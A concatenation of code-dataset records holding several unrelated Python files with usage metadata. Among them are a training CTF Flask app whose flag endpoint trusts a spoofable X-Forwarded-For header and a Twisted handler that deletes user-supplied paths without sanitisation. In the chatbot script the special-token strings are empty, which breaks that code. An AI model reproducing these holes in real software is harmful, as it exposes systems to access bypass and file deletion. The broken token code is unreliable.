"matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 104, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 104, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 105, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 105, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "numpy.random.lognormal", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.round", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 123, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 129, "usage_type": "name"}, {"api_name": "numpy.cumsum", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "numpy.cumsum", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 135, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 136, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 136, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 138, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 138, "usage_type": "name"}]} {"seq_id": "806409966", "text": "# --- modules\nfrom modules.dog import bark\n# bark()\n\n\n# --- using built-in libraries in Python\nfrom math import sqrt\nsqrt(4) # 2.0\n\nimport sys\nsys.argv # ['main.py', 'ganesh']\n\n# print(sys.argv)\n\n# lambda funtions\n\nsquare = lambda x : x * x # or s\nsquare(2) # 4\n \nnumbers = [1,2,3,4]\nmap(square,numbers) #\nlist(map(square,numbers)) #[1, 4, 9, 16]\n\nlist(filter(lambda x : x%2 == 0,numbers))# [2, 4]\n\nfrom functools import reduce\nreduce(lambda a,b : a + b,numbers) # 10\n\n\n# --- Decoratorss\ndef logtime(func):\n def wrapper():\n print('before')\n val = func()\n print('after')\n return val\n return wrapper\n\n@logtime\ndef hello():\n print(\"hello world\")\n# hello() # before hello world after\n\n# --- Docstrings\n\nclass Cat:\n \"\"\"hey cat can have a name,age and can meow!!\"\"\"\n def __init__(self,name):\n \"\"\"hey this is a constructor for cat\"\"\"\n self.name = name\n# help(Cat) \n\n# --- Annotations(used to add datatypes to varibles)\n\ndef increment(n : int) -> int:\n return n + 1\nincrement(2) #3\n\n# --- Exceptions\n\ntry:\n result = 2/0\n # raise Exception(\"an error\") # alternatively we can also raise exception\nexcept Exception as error:\n error # can print error\nfinally:\n result = 1\n# result # 1\n\nclass parrotNotFound(Exception):\n pass\n\ntry:\n raise parrotNotFound\nexcept parrotNotFound:\n avoiding = None # adding variable so that we can comment peacefully.\n # print(\"parrot not found\")\n\n# --- File handling \nfilename = '/Users/flavio/test.txt'\n\n# try: # using try catch to read a file,check alternative below this example for easier impl\n# file = open(filename,'r')\n# content = file.read()\n# print(content)\n# finally:\n# file.close()\n\n# with open(filename, 'r') as file: # implicit file closing,and exception handling\n# content = file.read()\n# print(content)\n\n# --- pip python package manager,its global install \n# use terminal,here are some commands:\n# pipy.org for more packages\n# pip install \n# pip uninstall \n# pip show \n\n# --- List Compressions(can use if you don't want to use lamdas/for loops)\nnumbers_power_2 = [n**2 for n in numbers]\n(numbers_power_2) #[1, 4, 9, 16] \n\n#--- Operator Overload\nclass Fish:\n def __init__(self,name,age):\n self.name = name\n self.age = age\n\n def __gt__(self,other):\n return True if self.age > other.age else False\n\nsinsa = Fish('sinsa',10)\nfishoo = Fish('fishoo',9)\nsinsa > fishoo # True\n#check out others __add__(),sub,mul,truediv,and\n\nprint(sinsa > fishoo)\n\n", "repo_name": "kishpower/learn-python", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2582, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "math.sqrt", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "functools.reduce", "line_number": 27, "usage_type": "call"}]} {"seq_id": "86318431599", "text": "import sys\nimport io\nfrom flask import Flask, abort, request, render_template\n\nsys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef missing_handler(path):\n abort(404, \"not found\")\n\n@app.route(\"/robots.txt\", methods=[\"GET\"])\ndef robots_get():\n return render_template('robots.txt')\n\n@app.route(\"/admin/flag\", methods=[\"GET\"])\ndef flag_get():\n if request.headers.getlist(\"X-Forwarded-For\"):\n ip = request.headers.getlist(\"X-Forwarded-For\")[0]\n else:\n ip = request.remote_addr\n \n if ip == '127.0.0.1':\n return render_template(\"flag.html\")\n else:\n return render_template(\"401.html\", ip=ip)\n\n@app.route(\"/\", methods=[\"GET\"])\ndef index_get():\n return render_template('index.html')\n\nif __name__ == \"__main__\":\n app.run(debug=True, host=\"0.0.0.0\", port=31481)\n", "repo_name": "task4233/taskctf22-public", "sub_path": "web/robots/build/app/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 875, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.stdout", "line_number": 5, "usage_type": "attribute"}, {"api_name": "io.TextIOWrapper", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.request.headers.getlist", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.headers.getlist", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.remote_addr", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 31, "usage_type": "call"}]} {"seq_id": "32696526964", "text": "import zmq\n\ncontext = zmq.Context()\n\n#pull the results\nresults_receiver = context.socket(zmq.PULL)\nresults_receiver.bind(\"tcp://0.0.0.0:8001\")\n\nresult = results_receiver.recv_json()\nlista = []\nbest_acc = 0\n\nfor x in range(result['nmb_hiperparams']):\n result = results_receiver.recv_json()\n if result['result']['test_acc']>best_acc:\n best_acc = result['result']['test_acc']\n best_hiper = result['result']\n print(result)\n lista.append(result['result'])\n\nprint(\"The best hiperparameters is\", best_hiper, \"with the best accuracy that is: \", best_acc)", "repo_name": "vaaaltin/MLProd", "sub_path": "1o Semestre/ESBD - 3/Atividade 1/collector/collector.py", "file_name": "collector.py", "file_ext": "py", "file_size_in_byte": 572, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "zmq.Context", "line_number": 3, "usage_type": "call"}, {"api_name": "zmq.PULL", "line_number": 6, "usage_type": "attribute"}]} {"seq_id": "74663348382", "text": "from downpour.web import common, auth\nfrom twisted.web import static, server\nimport os, shutil\n\nclass Root(common.AuthenticatedResource):\n\n def __init__(self, *args, **kwargs):\n common.AuthenticatedResource.__init__(self, *args, **kwargs)\n\n def getChild(self, path, request):\n if not self.is_logged_in(request):\n return self\n manager = self.get_manager(request)\n filepath = manager.get_work_directory()\n return File(str(filepath)).getChild(path, request)\n\n def render_GET(self, request):\n if 'd' in request.args:\n path = request.args['d'][0]\n if path[len(path)-1] == '/':\n path = path[:len(path)-1]\n redirect = os.path.dirname(path)\n\n manager = self.get_manager(request)\n path = '%s%s' % (manager.get_work_directory(), path)\n if os.path.isdir(path):\n shutil.rmtree(path)\n else:\n os.remove(path)\n\n request.redirect('work%s' % redirect)\n request.finish()\n return server.NOT_DONE_YET\n else:\n return 'No action specified'\n\nclass File(static.File):\n\n def __init__(self, *args, **kwargs):\n static.File.__init__(self, *args, **kwargs)\n\n def directoryListing(self):\n lister = DirectoryIndex(self.path,\n self.listNames(),\n self.contentTypes,\n self.contentEncodings,\n self.defaultType)\n return lister\n\nclass DirectoryIndex(static.DirectoryLister, common.Resource):\n\n def __init__(self, *args, **kwargs):\n static.DirectoryLister.__init__(self, *args, **kwargs)\n\n def render(self, request):\n if self.dirs is None:\n directory = os.listdir(self.path)\n directory.sort()\n else:\n directory = self.dirs\n\n manager = self.get_manager(request)\n relPath = self.path[len(manager.get_work_directory()):]\n dirs, files = self._getFilesAndDirectories(directory)\n context = {\n 'title': 'Files: %s/' % relPath,\n 'path': relPath,\n 'directories': dirs,\n 'files': files\n }\n\n return self.render_template('work/directory.html', request, context)\n", "repo_name": "jjongsma/downpour", "sub_path": "downpour/web/work.py", "file_name": "work.py", "file_ext": "py", "file_size_in_byte": 2268, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "7", "api": [{"api_name": "downpour.web.common.AuthenticatedResource", "line_number": 5, "usage_type": "attribute"}, {"api_name": "downpour.web.common", "line_number": 5, "usage_type": "name"}, {"api_name": "downpour.web.common.AuthenticatedResource.__init__", "line_number": 8, "usage_type": "call"}, {"api_name": "downpour.web.common.AuthenticatedResource", "line_number": 8, "usage_type": "attribute"}, {"api_name": "downpour.web.common", "line_number": 8, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 27, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 29, "usage_type": "call"}, {"api_name": "twisted.web.server.NOT_DONE_YET", "line_number": 33, "usage_type": "attribute"}, {"api_name": "twisted.web.server", "line_number": 33, "usage_type": "name"}, {"api_name": "twisted.web.static.File", "line_number": 37, "usage_type": "attribute"}, {"api_name": "twisted.web.static", "line_number": 37, "usage_type": "name"}, {"api_name": "twisted.web.static.File.__init__", "line_number": 40, "usage_type": "call"}, {"api_name": "twisted.web.static.File", "line_number": 40, "usage_type": "attribute"}, {"api_name": "twisted.web.static", "line_number": 40, "usage_type": "name"}, {"api_name": "twisted.web.static.DirectoryLister", "line_number": 50, "usage_type": "attribute"}, {"api_name": "twisted.web.static", "line_number": 50, "usage_type": "name"}, {"api_name": "downpour.web.common.Resource", "line_number": 50, "usage_type": "attribute"}, {"api_name": "downpour.web.common", "line_number": 50, "usage_type": "name"}, {"api_name": "twisted.web.static.DirectoryLister.__init__", "line_number": 53, "usage_type": "call"}, {"api_name": "twisted.web.static.DirectoryLister", "line_number": 53, "usage_type": "attribute"}, {"api_name": "twisted.web.static", "line_number": 53, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 57, "usage_type": "call"}]} {"seq_id": "72869729182", "text": "from dataclasses import dataclass\nfrom typing import Any, Optional\nimport torch\n\nfrom detectron2.structures import BoxMode, Instances\n\nfrom .utils import AnnotationsAccumulator\n\n\n@dataclass\nclass PackedCseAnnotations:\n x_gt: torch.Tensor\n y_gt: torch.Tensor\n coarse_segm_gt: Optional[torch.Tensor]\n vertex_mesh_ids_gt: torch.Tensor\n vertex_ids_gt: torch.Tensor\n bbox_xywh_gt: torch.Tensor\n bbox_xywh_est: torch.Tensor\n point_bbox_with_dp_indices: torch.Tensor\n point_bbox_indices: torch.Tensor\n bbox_indices: torch.Tensor\n\n\nclass CseAnnotationsAccumulator(AnnotationsAccumulator):\n \"\"\"\n Accumulates annotations by batches that correspond to objects detected on\n individual images. Can pack them together into single tensors.\n \"\"\"\n\n def __init__(self):\n self.x_gt = []\n self.y_gt = []\n self.s_gt = []\n self.vertex_mesh_ids_gt = []\n self.vertex_ids_gt = []\n self.bbox_xywh_gt = []\n self.bbox_xywh_est = []\n self.point_bbox_with_dp_indices = []\n self.point_bbox_indices = []\n self.bbox_indices = []\n self.nxt_bbox_with_dp_index = 0\n self.nxt_bbox_index = 0\n\n def accumulate(self, instances_one_image: Instances):\n \"\"\"\n Accumulate instances data for one image\n\n Args:\n instances_one_image (Instances): instances data to accumulate\n \"\"\"\n boxes_xywh_est = BoxMode.convert(\n instances_one_image.proposal_boxes.tensor.clone(), BoxMode.XYXY_ABS, BoxMode.XYWH_ABS\n )\n boxes_xywh_gt = BoxMode.convert(\n instances_one_image.gt_boxes.tensor.clone(), BoxMode.XYXY_ABS, BoxMode.XYWH_ABS\n )\n n_matches = len(boxes_xywh_gt)\n assert n_matches == len(\n boxes_xywh_est\n ), f\"Got {len(boxes_xywh_est)} proposal boxes and {len(boxes_xywh_gt)} GT boxes\"\n if not n_matches:\n # no detection - GT matches\n return\n if (\n not hasattr(instances_one_image, \"gt_densepose\")\n or instances_one_image.gt_densepose is None\n ):\n # no densepose GT for the detections, just increase the bbox index\n self.nxt_bbox_index += n_matches\n return\n for box_xywh_est, box_xywh_gt, dp_gt in zip(\n boxes_xywh_est, boxes_xywh_gt, instances_one_image.gt_densepose\n ):\n if (dp_gt is not None) and (len(dp_gt.x) > 0):\n self._do_accumulate(box_xywh_gt, box_xywh_est, dp_gt)\n self.nxt_bbox_index += 1\n\n def _do_accumulate(self, box_xywh_gt: torch.Tensor, box_xywh_est: torch.Tensor, dp_gt: Any):\n \"\"\"\n Accumulate instances data for one image, given that the data is not empty\n\n Args:\n box_xywh_gt (tensor): GT bounding box\n box_xywh_est (tensor): estimated bounding box\n dp_gt: GT densepose data with the following attributes:\n - x: normalized X coordinates\n - y: normalized Y coordinates\n - segm: tensor of size [S, S] with coarse segmentation\n -\n \"\"\"\n self.x_gt.append(dp_gt.x)\n self.y_gt.append(dp_gt.y)\n if hasattr(dp_gt, \"segm\"):\n self.s_gt.append(dp_gt.segm.unsqueeze(0))\n self.vertex_ids_gt.append(dp_gt.vertex_ids)\n self.vertex_mesh_ids_gt.append(torch.full_like(dp_gt.vertex_ids, dp_gt.mesh_id))\n self.bbox_xywh_gt.append(box_xywh_gt.view(-1, 4))\n self.bbox_xywh_est.append(box_xywh_est.view(-1, 4))\n self.point_bbox_with_dp_indices.append(\n torch.full_like(dp_gt.vertex_ids, self.nxt_bbox_with_dp_index)\n )\n self.point_bbox_indices.append(torch.full_like(dp_gt.vertex_ids, self.nxt_bbox_index))\n self.bbox_indices.append(self.nxt_bbox_index)\n self.nxt_bbox_with_dp_index += 1\n\n def pack(self) -> Optional[PackedCseAnnotations]:\n \"\"\"\n Pack data into tensors\n \"\"\"\n if not len(self.x_gt):\n # TODO:\n # returning proper empty annotations would require\n # creating empty tensors of appropriate shape and\n # type on an appropriate device;\n # we return None so far to indicate empty annotations\n return None\n return PackedCseAnnotations(\n x_gt=torch.cat(self.x_gt, 0),\n y_gt=torch.cat(self.y_gt, 0),\n vertex_mesh_ids_gt=torch.cat(self.vertex_mesh_ids_gt, 0),\n vertex_ids_gt=torch.cat(self.vertex_ids_gt, 0),\n # ignore segmentation annotations, if not all the instances contain those\n coarse_segm_gt=torch.cat(self.s_gt, 0)\n if len(self.s_gt) == len(self.bbox_xywh_gt)\n else None,\n bbox_xywh_gt=torch.cat(self.bbox_xywh_gt, 0),\n bbox_xywh_est=torch.cat(self.bbox_xywh_est, 0),\n point_bbox_with_dp_indices=torch.cat(self.point_bbox_with_dp_indices, 0),\n point_bbox_indices=torch.cat(self.point_bbox_indices, 0),\n bbox_indices=torch.as_tensor(\n self.bbox_indices, dtype=torch.long, device=self.x_gt[0].device\n ),\n )\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/dev/cv/image_classification/SlowFast_ID0646_for_PyTorch/detectron2/projects/DensePose/densepose/modeling/losses/embed_utils.py", "file_name": "embed_utils.py", "file_ext": "py", "file_size_in_byte": 5171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.Tensor", "line_number": 12, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 13, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 21, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 10, "usage_type": "name"}, {"api_name": "utils.AnnotationsAccumulator", "line_number": 24, "usage_type": "name"}, {"api_name": "detectron2.structures.Instances", "line_number": 44, "usage_type": "name"}, {"api_name": "detectron2.structures.BoxMode.convert", "line_number": 51, "usage_type": "call"}, {"api_name": "detectron2.structures.BoxMode", "line_number": 51, "usage_type": "name"}, {"api_name": "detectron2.structures.BoxMode.XYXY_ABS", "line_number": 52, "usage_type": "attribute"}, {"api_name": "detectron2.structures.BoxMode", "line_number": 52, "usage_type": "name"}, {"api_name": "detectron2.structures.BoxMode.XYWH_ABS", "line_number": 52, "usage_type": "attribute"}, {"api_name": "detectron2.structures.BoxMode.convert", "line_number": 54, "usage_type": "call"}, {"api_name": "detectron2.structures.BoxMode", "line_number": 54, "usage_type": "name"}, {"api_name": "detectron2.structures.BoxMode.XYXY_ABS", "line_number": 55, "usage_type": "attribute"}, {"api_name": "detectron2.structures.BoxMode", "line_number": 55, "usage_type": "name"}, {"api_name": "detectron2.structures.BoxMode.XYWH_ABS", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 78, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.full_like", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.full_like", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.full_like", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 119, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 120, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 121, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 126, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 128, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.as_tensor", "line_number": 130, "usage_type": "call"}, {"api_name": "torch.long", "line_number": 131, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 106, "usage_type": "name"}]} {"seq_id": "18655641691", "text": "from image_super_resolution.model.srgan import generator\nfrom image_super_resolution.model import resolve_single\nfrom image_super_resolution.model.edsr import edsr\nfrom image_super_resolution.model.wdsr import wdsr_b\nfrom PIL import Image\nimport numpy as np\nimport maya.cmds as mc\nimport os\nimport maya.app.general.createImageFormats as createImageFormats\n\nfrom optionWindow_utils import getOptions\n\n\n# Source: https://github.com/krasserm/super-resolution\n\ndef get_absolute_path(path):\n return os.path.join(os.path.split(mc.file(q=True, loc=True))[0], path)\n\ndef load_image(path):\n return np.array(Image.open(path))\n \ndef main(path):\n options = getOptions()[\"image_super_resolution\"]\n \n # EDSR\n if options[\"model\"] == \"EDSR\":\n model = edsr(scale=4, num_res_blocks=16)\n model.load_weights(get_absolute_path('Plugin/scripts/image_super_resolution/weights/edsr-16-x4/weights.h5'))\n\n # WDSR\n if options[\"model\"] == \"WDSR\":\n model = wdsr_b(scale=4, num_res_blocks=32)\n model.load_weights(get_absolute_path('Plugin/scripts/image_super_resolution/weights/wdsr-b-32-x4/weights.h5'))\n\n # SRGAN\n if options[\"model\"] == \"SRGAN\":\n model = generator()\n model.load_weights(get_absolute_path(\"Plugin/scripts/image_super_resolution/weights/srgan/gan_generator.h5\"))\n\n lr = load_image(path)\n sr = resolve_single(model, lr)\n\n img = Image.fromarray(np.array(sr), 'RGB')\n return img\n\nif __name__ == \"__main__\":\n formatManager = createImageFormats.ImageFormats()\n formatManager.pushRenderGlobalsForDesc(\"JPEG\")\n\n path = os.path.join(os.path.split(mc.file(q=True, loc=True))[0], \"Plugin/media/tmp/rendering.jpg\")\n mc.renderWindowEditor(\"renderView\", e=True, writeImage=path)\n main(path)", "repo_name": "SweckEUW/Autodesk-Maya-AI-Image-Edit-Toolkit", "sub_path": "Plugin/scripts/image_super_resolution/image_super_resolution.py", "file_name": "image_super_resolution.py", "file_ext": "py", "file_size_in_byte": 1766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 17, "usage_type": "call"}, {"api_name": "maya.cmds.file", "line_number": 17, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 17, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 20, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 20, "usage_type": "name"}, {"api_name": "optionWindow_utils.getOptions", "line_number": 23, "usage_type": "call"}, {"api_name": "image_super_resolution.model.edsr.edsr", "line_number": 27, "usage_type": "call"}, {"api_name": "image_super_resolution.model.wdsr.wdsr_b", "line_number": 32, "usage_type": "call"}, {"api_name": "image_super_resolution.model.srgan.generator", "line_number": 37, "usage_type": "call"}, {"api_name": "image_super_resolution.model.resolve_single", "line_number": 41, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 43, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "maya.app.general.createImageFormats.ImageFormats", "line_number": 47, "usage_type": "call"}, {"api_name": "maya.app.general.createImageFormats", "line_number": 47, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 50, "usage_type": "call"}, {"api_name": "maya.cmds.file", "line_number": 50, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 50, "usage_type": "name"}, {"api_name": "maya.cmds.renderWindowEditor", "line_number": 51, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 51, "usage_type": "name"}]} {"seq_id": "19522677109", "text": "import pandas as pd\nfrom tqdm import tqdm\nimport os\nimport re\nimport json\nimport numpy as np\nfrom konlpy.tag import Okt\n\n'''\n 데이터 전처리\n'''\nFILTERS = \"([~.,!?\\\"':;)(])\"\nCHANGE_FILTER = re.compile(FILTERS) # 미리 Complie\nPAD, PAD_INDEX = \"\", 0 # 패딩 토큰\nSTD, STD_INDEX = \"\", 1 # 시작 토큰\nEND, END_INDEX = \"\", 2 # 종료 토큰\nUNK, UNK_INDEX = \"\", 3 # 사전에 없음\nMARKER = [PAD,STD,END,UNK]\nMAX_SEQUNECE = 25\n\n\n# Data reading\ndef load_data(path):\n df = pd.read_csv(path,header=0)\n question, answer = list(df['Q']),list(df['A'])\n return question, answer\n\n# Tokenizing\ndef data_tokenizer(data):\n words = []\n for sentence in data:\n # 미리 컴파일한 특수문자를 제거하는 코드\n sentence = re.sub(CHANGE_FILTER,\"\",sentence)\n for word in sentence.split():\n words.append(word) \n # 공백 기준으로 단어를 나눠서 Return\n return [word for word in words if word]\n\n# 형태소 분리 \ndef prepro_like_morphlized(data):\n morph_analyzer= Okt()\n results = list()\n for seq in tqdm(data):\n morphlized_seq = \" \".join(morph_analyzer.morphs(seq.replace(' ','')))\n results.append(morphlized_seq)\n return results\n\n# 단어 사전을 불러오는 함수\ndef load_vocabulary(path, vocab_path):\n vocabulary_list = []\n # vocab path가 없고 -- 단어 사전파일이 없고\n if not os.path.exists(vocab_path):\n # Raw데이터를 불러와서 사전을 만든다.\n # if (os.path.exists(path)):\n df = pd.read_csv(path,encoding='utf-8')\n question, answer = list(df['Q']),list(df['A'])\n data = []\n data.extend(question)\n data.extend(answer)\n # Tokenizing \n words = data_tokenizer(data)\n words = list(set(words))\n words[:0] = MARKER # 사전에 정의한 토큰을 단어 리스트 앞에 추가\n # print(vocab_path)\n # print(words)\n with open(vocab_path, 'w', encoding = 'utf-8') as vocabulary_file:\n for word in words:\n # print(word)\n vocabulary_file.write(word + '\\n')\n\n \n \n with open(vocab_path, 'r', encoding='utf-8') as vocabulary_file:\n for line in vocabulary_file:\n # print(line)\n vocabulary_list.append(line.strip())\n # print(vocabulary_list) \n word2idx, idx2word = make_vocabulary(vocabulary_list)\n \n return word2idx, idx2word, len(word2idx)\n\n \ndef make_vocabulary(vocabulary_list):\n word2idx = {word: idx for idx, word in enumerate(vocabulary_list)}\n idx2word = {idx: word for idx, word in enumerate(vocabulary_list)}\n\n return word2idx, idx2word\n\n# 인코더와 디코더 부분 처리하기\ndef enc_processing(value, dictionary):\n sequences_input_index = []\n sequences_length = []\n\n for sequence in value :\n sequence = re.sub(CHANGE_FILTER,\"\",sequence)\n sequence_index = []\n \n for word in sequence.split(): # 공백 기준으로 word를 구분\n if dictionary.get(word) is not None : # 사전에 있으면\n sequence_index.extend([dictionary[word]]) # index 값 쓰고\n else:\n sequence_index.extend([dictionary[UNK]])\n # 길이 제한\n if len(sequence_index) > MAX_SEQUNECE:\n sequence_index = sequence_index[:MAX_SEQUNECE]\n\n sequences_length.append(len(sequence_index)) # 이 문장의 길이 저장\n # Padding 추가\n # \"안녕\" → \"안녕,,,,\"\n \n sequence_index += (MAX_SEQUNECE - len(sequence_index))*[dictionary[PAD]]\n \n sequences_input_index.append(sequence_index)\n\n return np.asarray(sequences_input_index), sequences_length\n\n# Decoder input\n\ndef dec_output_processing(value, dictionary):\n sequences_output_index = []\n sequences_length = []\n\n for sequence in value:\n sequence = re.sub(CHANGE_FILTER,\"\",sequence)\n sequence_index = []\n # 앞부분에 시작을 알리는 토큰 넣기\n sequence_index = [dictionary[STD]]+[dictionary[word] for word in sequence.split()]\n\n if len(sequence_index) > MAX_SEQUNECE:\n sequence_index = sequence_index[:MAX_SEQUNECE]\n\n sequences_length.append(len(sequence_index))\n sequence_index += (MAX_SEQUNECE - len(sequence_index))*[dictionary[PAD]]\n\n sequences_output_index.append(sequence_index)\n return np.asarray(sequences_output_index), sequences_length\n\n# 디코더 Target 값 전처리\ndef dec_target_processing(value,dictionary):\n sequences_target_index = []\n for sequence in value :\n sequence = re.sub(CHANGE_FILTER,\"\", sequence)\n sequence_index = [dictionary[word] for word in sequence.split() ]\n if len(sequence_index)>= MAX_SEQUNECE:\n # 이부분이 Decoder 입력값 전처리와 다른점\n sequence_index = sequence_index[:MAX_SEQUNECE-1] + [dictionary[END]] 